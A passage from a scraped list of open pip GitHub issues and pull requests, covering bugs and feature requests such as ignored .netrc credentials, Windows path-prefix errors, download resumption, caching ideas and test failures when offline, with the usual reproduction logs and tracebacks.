body: This file is only used to provide the ability to capture output from `compileall.compile_file`, so that it is not presented the user upon successful installations (https://github.com/pypa/pip/pull/1984).

The logic currently passes `quiet=True` but changing that to `quiet=2` should silence all the output from that call.

user: pradyunsg
labels: type: refactor: Refactoring code
issue_11188: state: open
title: Errors under Windows with installation prefix starting with \\?\
body: ### Description

Error when `pip install` is run with `--prefix` starting with `\\?\` (for example, a directory on letter-less volume in #10597, but not limited to).

`pipenv install -e .` calls pip with this option, so this issue hinders the use of pipenv.

### Expected behavior

Successful installation

### pip version

22.1.2

### Python version

3.10

### OS

Windows 10

### How to Reproduce

`pip install --ignore-installed --prefix \\?\%TEMP% setuptools`

### Output

```sh-session
Collecting setuptools
  Using cached setuptools-62.4.0-py3-none-any.whl (1.2 MB)
Installing collected packages: setuptools
ERROR: Could not install packages due to an OSError: [WinError 123] The filename, directory name, or volume label syntax is incorrect: '\\\\?\\C:\\Users\\<user>\\AppData\\Local\\Temp/Lib'
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: grv87
labels: type: bug: A confirmed bug or unintended behavior
OS: windows: Windows specific
issue_11185: state: open
title: pip ignores .netrc on Linux
body: ### Description

In Red Hat linux I have defined .netrc file:
```
machine https://artifactory.company.dev
login username1
password pass1
```

Permissions are:
-rw-------    jenkins jenkins     .netrc

I am running pip as jenkins user.
I have pip.conf defined in ~/.config/pip
```
 vi ~/.config/pip/pip.conf
[global]
index-url = https://artifactory.company.dev/artifactory/api/pypi/pypi-remote/simple
```

When I run pip it targets proper URL but it asks for the credentials:
`User for artifactory.company.dev:`

If I set the same credentials in pip.conf then it works!
But I need them to be processed from .netrc 



### Expected behavior

pip gonna use found credentials

### pip version

21.3.1

### Python version

3.6.8

### OS

Red Hat Enterprise Linux 8.5

### How to Reproduce

1. create .netrc file in ~ dir. execute chown and chmod commands
2. create pip.conf file in .config/pip/ without credentials in the index url
3. run the pip install (it will prompt for the credentials although it shouldn't have)

### Output

```sh-session
(python_env) $ pip install sample1001
Looking in indexes: https://artifactory.company.dev/artifactory/api/pypi/pypi-remote/simple
User for artifactory.company.dev: e5614274
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: veljkosbbb
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11180: state: open
title: Resume incomplete download
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

## Overview

This PR adds a feature that resumes download if the downloaded file is incomplete (e.g. when the Internet connection is poor). More specifically, if :

1. The initial response includes a `Content-Length` header,
2. The server sends fewer bytes than indicated in the `Content-Length` header,
3. The user enables the auto resumption feature using `--incomplete-downloads=resume`,

the downloader will make new requests and attempt to resume download using a `Range` header. If the initial response includes an `ETag` (preferred) or `Date` header, the downloader will ask the server to resume download only when it is safe (i.e., the file hasn't changed since the initial request) using an `If-Range` header.

If the server responds with a 200 (e.g. if the server doesn't support partial content or can't check if the file has changed), the downloader will restart the download (i.e. start from the very first byte); if the server responds with a 206 Partial Content, the downloader will resume the download from the partially downloaded file.

Note if the server always responds with 200, the downloader can potentially get stuck and waste unreasonable amounts of bandwidth downloading the first few bytes over and over again. Therefore, a retry limit is introduced to avoid this case.

If not enough bytes are received and auto resumption is disabled or the retry limit is exceeded, the downloader will clean up the incomplete file and fail with an exception.

## Flags

To control the auto resumption behavior, two new flags are added:
- `--incomplete-downloads=resume,/discard` controls whether the auto resumption feature is enabled (defaults to `discard`);
- `--incomplete-download-retries` limits the maximum number of retries (defaults to `5`).

---

Towards https://github.com/pypa/pip/issues/4796
user: yichi-yang
labels: needs rebase or merge: PR has conflicts with current master
issue_11179: state: open
title: Better document --root-user-action
body: ### Description

Hello everyone, I'm using Vagrant/Docker for some long-term testing and would like to silence pip's warning about running as root so I can deal with other more relevant warnings.

I found this PR #10990 from April 7th, 2022 but I haven't managed to able to run pip as root without the warning.

I'm using Alpine on Docker/Vagrant and have a bunch of other packages but the python/pip that are installed;  

```
-  python3-dev 
-  py3-pip 
-  py3-virtualenv 
```

I've tried 
```
python3 -m pip install --upgrade pip && \ 
PIP_NO_WARN_ABOUT_ROOT_USER=0 pip install sqlmap
#and
env PIP_NO_WARN_ABOUT_ROOT_USER=0 pip install sqlmap
```
Can anybody help?

### Expected behavior

No longer have the root warning output

### pip version

pip-22.1.2

### Python version

3.10.4

### OS

Alpine

### How to Reproduce

docker run -it alpine:latest /bin/sh

apk update
apk add py3-pip

python3 -m pip install --upgrade pip

pip -V
pip 22.1.2 from /usr/lib/python3.10/site-packages/pip (python 3.10)

PIP_NO_WARN_ABOUT_ROOT_USER=0 pip install sqlmap

### Output

```sh-session
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: outzhu
labels: type: docs: Documentation related
issue_11175: state: open
title: pip ignores netrc on Windows
body: ### Description

I've added my private index which requires a user/password and `%HOME%\_netrc` file. However, despite found credentials `pip` ignores it and asks for the user name.

### Expected behavior

`pip` gonna use found credentials

### pip version

22.1.2

### Python version

3.10.5

### OS

Windows 11

### How to Reproduce

1. add extra index with basic auth
2. add `_netrc` file to `%HOME%`
3. try to install smth from the added index

### Output

```sh-session
Using pip 22.1.2 from c:\Python310\lib\site-packages\pip (python 3.10)
Non-user install because site-packages writeable
Created temporary directory: C:\Users\builder\AppData\Local\Temp\pip-ephem-wheel-cache-2urhk924
Created temporary directory: C:\Users\builder\AppData\Local\Temp\pip-build-tracker-q2ao2p26
Initialized build tracking at C:\Users\builder\AppData\Local\Temp\pip-build-tracker-q2ao2p26
Created build tracker: C:\Users\builder\AppData\Local\Temp\pip-build-tracker-q2ao2p26
Entered build tracker: C:\Users\builder\AppData\Local\Temp\pip-build-tracker-q2ao2p26
Created temporary directory: C:\Users\builder\AppData\Local\Temp\pip-install-_kvhoedn
Looking in indexes: https://pypi.org/simple, https://private.artifactory.host/vendor/api/pypi/pypi-release/simple
2 location(s) to search for versions of my-package:
* https://pypi.org/simple/my-package/
* https://private.artifactory.host/vendor/api/pypi/pypi-release/simple/my-package/
Fetching project page and analyzing links: https://pypi.org/simple/my-package/
Getting page https://pypi.org/simple/my-package/
Found index url https://pypi.org/simple
Looking up "https://pypi.org/simple/my-package/" in the cache
Request header has "max_age" as 0, cache bypassed
Starting new HTTPS connection (1): pypi.org:443
https://pypi.org:443 "GET /simple/my-package/ HTTP/1.1" 404 13
Status code 404 not in (200, 203, 300, 301, 308)
Could not fetch URL https://pypi.org/simple/my-package/: 404 Client Error: Not Found for url: https://pypi.org/simple/my-package/ - skipping
Fetching project page and analyzing links: https://private.artifactory.host/vendor/api/pypi/pypi-release/simple/my-package/
Getting page https://private.artifactory.host/vendor/api/pypi/pypi-release/simple/my-package/
Found index url https://private.artifactory.host/vendor/api/pypi/pypi-release/simple
Found credentials in netrc for private.artifactory.host
Looking up "https://private.artifactory.host/vendor/api/pypi/pypi-release/simple/my-package/" in the cache
Request header has "max_age" as 0, cache bypassed
Starting new HTTPS connection (1): private.artifactory.host:443
https://private.artifactory.host:443 "GET /vendor/api/pypi/pypi-release/simple/my-package/ HTTP/1.1" 401 80
Found index url https://private.artifactory.host/vendor/api/pypi/pypi-release/simple
User for private.artifactory.host: ERROR: Operation cancelled by user
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: zaufi
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11172: state: open
title: Add forced progress bar option
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

This PR adds the ability to force progress bars on. This allows progress bars to be fully shown in subprocesses, which allows their data to be piped. See #11171 for more details.

Closes #11171 
user: joeyballentine
issue_11171: state: open
title: Add support for forcing rich's progress bar formatting (for use in subprocesses)
body: ### What's the problem this feature will solve?

Currently, when using pip In a subprocess, the rich progressbar will not work the same as it would in a normal terminal. This makes it impossible to parse install progress from pip's output.

### Describe the solution you'd like

There are a few ways to solve this problem. [I raised an issue in rich's repo](https://github.com/Textualize/rich/issues/2326), and they said the way to force progress bars in subprocesses is to simply add `force_terminal=True` in the progressbar options. It would be great if this could either be added by default or allowed to be toggled with a flag.

### Alternative Solutions

Alternatively, a flag to allow some sort of verbose download/install progress logging for easy parsing would be great. 

### Additional context

https://github.com/Textualize/rich/issues/2326

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: joeyballentine
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11166: state: open
title: Cache wheels built from VCS branches and tags
body: ### What's the problem this feature will solve?

Pip currently caches wheels built from VCS URLs that point to immutable commit hashes.

It does not cache when the URL points to a branch or tag because these are not immutable.

These leads to unnecessary builds in some scenarios such as this one:

- install from git tag => no wheel is cached
- pip freeze (yields vcs+https://...@commit)
- install from frozen requirements => the same wheel is built and cached where it could be reused from the previous install

### Describe the solution you'd like

pip could peek the commit hash behind the branch or tag and use it as cache entry

### Alternative Solutions

None.

### Additional context

https://github.com/pypa/pip/issues/11126#issuecomment-1146593220

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sbidoul
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
C: cache: Dealing with cache and files in it
type: feature request: Request for a new feature
issue_11165: state: open
title: Cache prepared metadata
body: ### What's the problem this feature will solve?

Pip currently caches built wheels. In several circumstances pip needs to prepare metadata that will not lead to build a wheel (such as during dependency resolution when several versions need to be considered).

Since metadata preparation can be a costly process in itself, a cache of prepared metadata may help resolution performance.

### Describe the solution you'd like

A new `metadata` cache that would work in a very similar way as the wheel cache (same keys, same criteria for deciding whether to cache or not. Feasibility and implementation details to be investigated.

### Alternative Solutions

None.

### Additional context

https://github.com/pypa/pip/issues/11126#issuecomment-1146593220

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sbidoul
labels: C: cache: Dealing with cache and files in it
type: feature request: Request for a new feature
issue_11164: state: open
title: Consider `--config-settings` in wheel cache keys
body: ### What's the problem this feature will solve?

Wheel cache entries are currently keyed by source artifact URL.

However successive builds of the same artifact may yield different results, due to environmental parameters that we can't possibly know about.

There are some parameters we do know about, though: `--config-settings`

### Describe the solution you'd like

Expand wheel cache to `_get_cache_path_parts` to take into account config settings.

### Alternative Solutions

Ask users to use different cache directories or disable caching in when they use different config settings that influence the built wheels.

### Additional context

https://github.com/pypa/pip/issues/11126#issuecomment-1146799755

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sbidoul
labels: C: cache: Dealing with cache and files in it
type: feature request: Request for a new feature
issue_11159: state: open
title: Add `--ignore-packages` to `pip check`
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Closes #11157 
user: q0w
issue_11157: state: open
title: Add `--ignore` flag to `pip check`
body: ### What's the problem this feature will solve?

We currently use `pip check` quite a bit in `conda-forge` to make sure that the dependency specifications that the dependencies that we have are correct.

However, some packages `pip` sometimes specifies as dependencies can also be proper "system"-packages which do not register as pip/python packages. That makes it hard to run `pip check` because of these "false negatives". Some examples are `cmake`, `ninja`, and likely some others.



### Describe the solution you'd like

If we could add a `--ignore` flag and a corresponding environment variable that could help us quite a bit.

### Alternative Solutions

Another solution would be to make `pip check` check if e.g. the `ninja` binary is on the `$PATH` -- but that's brittle. Another solution would be to register system packages as pip installed packages but that's also not a proper solution.

### Additional context

https://github.com/FFY00/meson-python/issues/60

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: wolfv
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_11153: state: open
title: interrupted download reports as hash failure
body: ### Description

follow-up to #4930

when a large package download is interrupted on a bad link, pip reports a bad hash instead of the interrupt of the download,
this leads to first misidentifying the problem

```
Collecting $REDACTED
  Downloading $REDACTED
     ━━━━━━━━━━━╺━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 14.8/52.4 MB 51.3 kB/s eta 0:12:13

ERROR: THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS FILE. If you have updated the package versions, please update the hashes. Otherwise, examine the package contents carefully; someone may have tampered with them.
    $REDACTED from $REDACTED#md5=04b4d65eda8bf72ae203d40031aa76a3:
        Expected md5 04b4d65eda8bf72ae203d40031aa76a3
             Got        c66b2d113159da2c6911c475ec00b26f
```

### Expected behavior

pip should report the download as interrupted to indicate the actual problem
its a fact that the hash will of course differ, if you hash a subset instead of al lthe data,
however the error happens at obtaining the data, so failing at the hash is misleading,

i was earnestly trying to figure where my data had gotten corrupted until i realized that the progress was actually not done

### pip version

22.1.1

### Python version

3.8

### OS

Fedora

### How to Reproduce

unfortunately i cannot provide a broken network reproducer quickly

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: RonnyPfannschmidt
labels: type: bug: A confirmed bug or unintended behavior
help wanted: For requesting inputs from other members of the community
C: error messages: Improving error messages
issue_11144: state: open
title: Progress bar changes cursor shape in Windows cmd
body: ### Description

While installing packages, the normally "small" (narrow underline) text cursor of a Windows "Command Prompt" window becomes "large" (full square). (The quoted words are the option labels from the "Properties" dialog.)

This happens only if the progress bar is used during the operation. Both when installing small packages that do not trigger the progress bar and when suppressing it using `--quiet`, the cursor shape does not change.

### Expected behavior

The cursor shape should not be different after pip finishes.

### pip version

22.1.1

### Python version

3.10.4

### OS

Windows 11

### How to Reproduce

1. Ensure that an old version of a large package is installed.
2. `python -m pip install -U that-large-package`
3. Examine the text cursor.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: chrullrich
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11142: state: open
title: Requires-Python version is not checked before downloading dependencies
body: ### Description

I have a `setup.py` file for a custom package with `python_requires='>=3.6, <3.9'` and some dependencies in `install_requires`.

When I use an environment with Python 3.9 and run `pip install -e .`, all dependencies are downloaded prior to the Python version check, and the result of an (expected) error due to the Python version mismatch (see how to reproduce.

This was already reported in #9925, fixed in #9994, and released with [v21.4](https://pip.pypa.io/en/stable/news/#v21-2). But it's not working as intended for me.

### Expected behavior

I would expect the installation process to fail right after the metadata is collected and the Python version mismatch is detected.

### pip version

22.1.1

### Python version

3.9.12

### OS

Ubuntu 20.04.4 LTS

### How to Reproduce

1. Download the following dummy package ([my_package.zip](https://github.com/pypa/pip/files/8761824/my_package.zip)) that requires a Python version <3.9
   ```
   # tree output
   /home/my_package via 🐍 v3.9.12 via 🅒 py9 
   ❯ tree
   .
   ├── my_package
   │   └── main.py
   └── setup.py
   ```
2. Install the package in an environment with Python 3.9 via pip: `pip install -e .`
3. You will see that all dependencies are downloaded despite the version mismatch.

 

### Output

```sh-session
Obtaining file:///home/my_package
  Preparing metadata (setup.py) ... done
Collecting requests
  Downloading requests-2.27.1-py2.py3-none-any.whl (63 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 63.1/63.1 kB 1.5 MB/s eta 0:00:00
Collecting requests_cache<=0.5.2
  Downloading requests_cache-0.5.2-py2.py3-none-any.whl (22 kB)
Collecting pandas
  Downloading pandas-1.4.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (11.7 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 11.7/11.7 MB 2.6 MB/s eta 0:00:00
Collecting numpy
  Downloading numpy-1.22.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (16.8 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 16.8/16.8 MB 4.4 MB/s eta 0:00:00
ERROR: Package 'my-package' requires a different Python: 3.9.12 not in '<3.9,>=3.6'
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: RafaelWO
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11141: state: open
title: 6369 - Pip download updated
body: Fixes #6369 
user: sandeepkiran-js
issue_11138: state: open
title: Should pip include Project-URLs in show output without verbose mode
body: ### What's the problem this feature will solve?

In https://github.com/pypa/pip/pull/10827 @jwodder and @wimglenn suggest including `Project-URLs` in pip show short output. However, one test explicitly checks if the show output stays short
https://github.com/pypa/pip/blob/b69f505757cdfb60888050805060bed2f115dead/tests/functional/test_show.py#L223-L229

### Describe the solution you'd like

Where should pip show `Project-URLs`?

### Alternative Solutions

Leave in the verbose output.

### Additional context

-

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: q0w
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11135: state: open
title: Pass --disable-pip-version-check in tests
body: Pass `--disable-pip-version-check` when running pip from the test suite.
In the best case, these checks are unnecessary and in the worst, they
cause tests to fail by emitting warnings.

Fixes https://github.com/pypa/pip/issues/11114
user: mgorny
issue_11129: state: open
title: Install ERROR: Cannot set --home and --prefix together
body: ### Description

I am getting the error even I am not using --home or --prefix while installing a git repo!
```
Collecting git+https://github.com/mccoderpy/discord.py-message-components.git@developer
  Cloning https://github.com/mccoderpy/discord.py-message-components.git (to revision developer) to c:\users\rizwan computers\appdata\local\temp\pip-req-build-cajtzut0
  Running command git clone --filter=blob:none --quiet https://github.com/mccoderpy/discord.py-message-components.git 'C:\Users\Rizwan computers\AppData\Local\Temp\pip-req-build-cajtzut0'
  Running command git checkout -b developer --track origin/developer
  branch 'developer' set up to track 'origin/developer'.
  Switched to a new branch 'developer'
  Resolved https://github.com/mccoderpy/discord.py-message-components.git to commit cc5391b50830c3169388d80979fcd4ea7919d273
  Installing build dependencies ... error
  error: subprocess-exited-with-error

  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 1
  ╰─> [8 lines of output]
      Collecting setuptools>=40.8.0
        Using cached setuptools-62.3.2-py3-none-any.whl (1.2 MB)
      Collecting wheel
        Using cached wheel-0.37.1-py2.py3-none-any.whl (35 kB)
      Installing collected packages: wheel, setuptools
      ERROR: Cannot set --home and --prefix together
      WARNING: You are using pip version 22.0.4; however, version 22.1 is available.
      You should consider upgrading via the 'C:\Users\Rizwan computers\AppData\Local\Programs\Python\Python39\python.exe -m pip install --upgrade pip' command.
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× pip subprocess to install build dependencies did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
WARNING: You are using pip version 22.0.4; however, version 22.1 is available.
You should consider upgrading via the 'C:\Users\Rizwan computers\AppData\Local\Programs\Python\Python39\python.exe -m pip install --upgrade pip' command.
```

### Expected behavior

A successful installation! Like I can install on my other pc via pip.

### pip version

22.0.4

### Python version

3.9.12

### OS

Windows

### How to Reproduce

```
python -m pip install git+https://github.com/mccoderpy/discord.py-message-components.git@developer
Collecting git+https://github.com/mccoderpy/discord.py-message-components.git@developer
  Cloning https://github.com/mccoderpy/discord.py-message-components.git (to revision developer) to c:\users\rizwan computers\appdata\local\temp\pip-req-build-cajtzut0
  Running command git clone --filter=blob:none --quiet https://github.com/mccoderpy/discord.py-message-components.git 'C:\Users\Rizwan computers\AppData\Local\Temp\pip-req-build-cajtzut0'
  Running command git checkout -b developer --track origin/developer
  branch 'developer' set up to track 'origin/developer'.
  Switched to a new branch 'developer'
  Resolved https://github.com/mccoderpy/discord.py-message-components.git to commit cc5391b50830c3169388d80979fcd4ea7919d273
  Installing build dependencies ... error
  error: subprocess-exited-with-error

  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 1
  ╰─> [8 lines of output]
      Collecting setuptools>=40.8.0
        Using cached setuptools-62.3.2-py3-none-any.whl (1.2 MB)
      Collecting wheel
        Using cached wheel-0.37.1-py2.py3-none-any.whl (35 kB)
      Installing collected packages: wheel, setuptools
      ERROR: Cannot set --home and --prefix together
      WARNING: You are using pip version 22.0.4; however, version 22.1 is available.
      You should consider upgrading via the 'C:\Users\Rizwan computers\AppData\Local\Programs\Python\Python39\python.exe -m pip install --upgrade pip' command.
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× pip subprocess to install build dependencies did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
WARNING: You are using pip version 22.0.4; however, version 22.1 is available.
You should consider upgrading via the 'C:\Users\Rizwan computers\AppData\Local\Programs\Python\Python39\python.exe -m pip install --upgrade pip' command.
```

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: malikmajai
labels: type: support: User Support
S: awaiting response: Waiting for a response/more information
issue_11125: state: open
title: Can't unset global variables
body: ### Description

I'm trying to configure a private pypi server and I can't unset global.extra-index-url nor global.trusted-host to test it properly

### Expected behavior

This should empty the variable I'm specifying

### pip version

22.1

### Python version

3.9

### OS

Zorin OS

### How to Reproduce

 - have a global.extra-index-url set to a repo you've downloaded from before
 - try to unset global.extra-index-url
 - see bug

![image](https://user-images.githubusercontent.com/103520688/168671768-93e4ccd8-73f2-485b-97de-491c860b7fc4.png)

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: gvfork
labels: type: bug: A confirmed bug or unintended behavior
state: needs reproducer: Need to reproduce issue
issue_11118: state: open
title: Require minimum pip version
body: ### What's the problem this feature will solve?

Pip continues to ship breaking changes. That is fine, it's great that it moves forward as a project, but we need some control to which pip versions downstream projects support without manual steps for our users.

For instance, in pip 22.1 the following breaking changes came in:
- `in-tree-build` is now the default, the option was dropped
  - a better approach would have been to keep the option and just warn that it is the default now
  - everyone that transitioned already, as pip recommended, and uses `pip` programmatically with that option errors out now with:
```
option --use-feature: invalid choice: 'in-tree-build' (choose from '2020-resolver', 'fast-deps')
```

- `--no-build-isolation` breaks if build dependencies are not installed
  - was always documented but not done that way
  - there is no way I can find to only install build dependencies from `pyproject.toml`

In order to not break CI and user workflows uncontrollably on release days of `pip`, we *need* a way to express the supported pip range, e.g., in `pyproject.toml` #4145

### Describe the solution you'd like

Let projects somewhere declare the working pip versions, so we have a chance to adopt to the breaking changes.

### Alternative Solutions

I currently only have a way forward, documenting all my users to always use the latest `pip` because I use `pip` embedded in complex build scripts.

I probably can try to transition complex build logic away from pip and use `build` and `packaging` once they are mature?

### Additional context

- https://github.com/pypa/pip/issues/4145
- https://github.com/pypa/pip/issues/9794
- https://github.com/ECP-WarpX/WarpX/pull/3106

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ax3l
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11115: state: open
title: Merging with pip-tools
body: ### What's the problem this feature will solve?

pip-tools and pip seem like very closely tied projects, since pip-tools and pip together make an npm packages.json construct with proper version fixing possible - without actually fixing versions where it is not necessary. 
It seems reasonable to me that these two projects  more tightly couple somehow. Today some pip upgrade broke pip-tools and I cannot deploy. 🙈🤓

Not tied to this issue: Many thanks for the awesome work for pip and pip-tools devs! You guys help so much with making complex python code reliable! ❤️🙏


### Describe the solution you'd like

I have no idea, things between pip and pip-tools should not break, basically. :) (should pip do pip-tools tests to see if some basic functionality breaks there? maybe. I have no idea how things work with pip dev.)

### Alternative Solutions

Users just pin pip and pip-tools versions - until some packages fail to install owing to using an outdated pip.

### Additional context

none

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: BarnabasSzabolcs
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11114: state: open
title: 22.1: pip upgrade warning is causing numerous test failures when offline
body: ### Description

When running the pip's test suite without Internet access, the newly added:

    logger.warning("There was an error checking the latest version of pip.")

i causing numerous tests to fail with an error similar to the following:

```
E               RuntimeError: stderr has an unexpected warning (pass allow_stderr_warning=True to permit this):
E                Caused by line: 'WARNING: There was an error checking the latest version of pip.'
E                Complete stderr: WARNING: There was an error checking the latest version of pip.
```

An example failing test is `tests/functional/test_list.py::test_local_flag`.

### Expected behavior

The majority of tests passing.

### pip version

22.1

### Python version

3.8.13, 3.9.12, 3.10.4

### OS

Gentoo Linux

### How to Reproduce

1. Do the usual prep (install pip & deps, copy common wheels, set envvars).
2. Disable the Internet access (e.g. using `unshare -n`).
3. `rm -r ~/.pip/cache`
4. `python -m pytest -m "not network" tests/functional/test_list.py::test_local_flag`

### Output

```sh-session
============================= test session starts ==============================
platform linux -- Python 3.9.12, pytest-7.1.2, pluggy-1.0.0
rootdir: /tmp/pip-22.1, configfile: setup.cfg
plugins: xdist-2.5.0, cov-3.0.0, forked-1.4.0, rerunfailures-10.2
collected 1 item

tests/functional/test_list.py F                                          [100%]

=================================== FAILURES ===================================
_______________________________ test_local_flag ________________________________

simple_script = <tests.lib.PipTestEnvironment object at 0x7fe1ee6c6e50>

    def test_local_flag(simple_script: PipTestEnvironment) -> None:
        """
        Test the behavior of --local flag in the list command
    
        """
>       result = simple_script.pip("list", "--local", "--format=json")

tests/functional/test_list.py:99: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
tests/lib/__init__.py:671: in run
    _check_stderr(
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

stderr = 'WARNING: There was an error checking the latest version of pip.\n'
allow_stderr_warning = False, allow_stderr_error = False

    def _check_stderr(
        stderr: str,
        allow_stderr_warning: bool,
        allow_stderr_error: bool,
    ) -> None:
        """
        Check the given stderr for logged warnings and errors.
    
        :param stderr: stderr output as a string.
        :param allow_stderr_warning: whether a logged warning (or deprecation
            message) is allowed. Must be True if allow_stderr_error is True.
        :param allow_stderr_error: whether a logged error is allowed.
        """
        assert not (allow_stderr_error and not allow_stderr_warning)
    
        lines = stderr.splitlines()
        for line in lines:
            # First check for logging errors, which we don't allow during
            # tests even if allow_stderr_error=True (since a logging error
            # would signal a bug in pip's code).
            #    Unlike errors logged with logger.error(), these errors are
            # sent directly to stderr and so bypass any configured log formatter.
            # The "--- Logging error ---" string is used in Python 3.4+, and
            # "Logged from file " is used in Python 2.
            if line.startswith("--- Logging error ---") or line.startswith(
                "Logged from file "
            ):
                reason = "stderr has a logging error, which is never allowed"
                msg = make_check_stderr_message(stderr, line=line, reason=reason)
                raise RuntimeError(msg)
            if allow_stderr_error:
                continue
    
            if line.startswith("ERROR: "):
                reason = (
                    "stderr has an unexpected error "
                    "(pass allow_stderr_error=True to permit this)"
                )
                msg = make_check_stderr_message(stderr, line=line, reason=reason)
                raise RuntimeError(msg)
            if allow_stderr_warning:
                continue
    
            if line.startswith("WARNING: ") or line.startswith(DEPRECATION_MSG_PREFIX):
                reason = (
                    "stderr has an unexpected warning "
                    "(pass allow_stderr_warning=True to permit this)"
                )
                msg = make_check_stderr_message(stderr, line=line, reason=reason)
>               raise RuntimeError(msg)
E               RuntimeError: stderr has an unexpected warning (pass allow_stderr_warning=True to permit this):
E                Caused by line: 'WARNING: There was an error checking the latest version of pip.'
E                Complete stderr: WARNING: There was an error checking the latest version of pip.

tests/lib/__init__.py:468: RuntimeError
---------------------------- Captured stdout setup -----------------------------
Using base prefix '/usr'
New python executable in /tmp/pytest-of-mgorny/pytest-0/virtualenv0/venv_orig/bin/python
---------------------------- Captured stderr setup -----------------------------
/tmp/pytest-of-mgorny/pytest-0/setuptools0/install/setuptools/command/easy_install.py:144: EasyInstallDeprecationWarning: easy_install command is deprecated. Use build and pip and other standards-based tools.
  warnings.warn(
/tmp/pytest-of-mgorny/pytest-0/setuptools0/install/setuptools/command/install.py:34: SetuptoolsDeprecationWarning: setup.py install is 
deprecated. Use build and pip and other standards-based tools.
  warnings.warn(
warning: no files found matching 'docs/docutils.conf'
warning: no files found matching 'docs/requirements.txt'
warning: no previously-included files found matching '.coveragerc'
warning: no previously-included files found matching '.mailmap'
warning: no previously-included files found matching '.appveyor.yml'
warning: no previously-included files found matching '.readthedocs.yml'
warning: no previously-included files found matching '.pre-commit-config.yaml'
warning: no previously-included files found matching 'tox.ini'
warning: no previously-included files found matching 'noxfile.py'
warning: no files found matching '*.css' under directory 'docs'
warning: no files found matching '*.py' under directory 'docs'
warning: no files found matching '*.rst' under directory 'docs'
warning: no files found matching '*.md' under directory 'docs'
warning: no previously-included files found matching 'src/pip/_vendor/six'
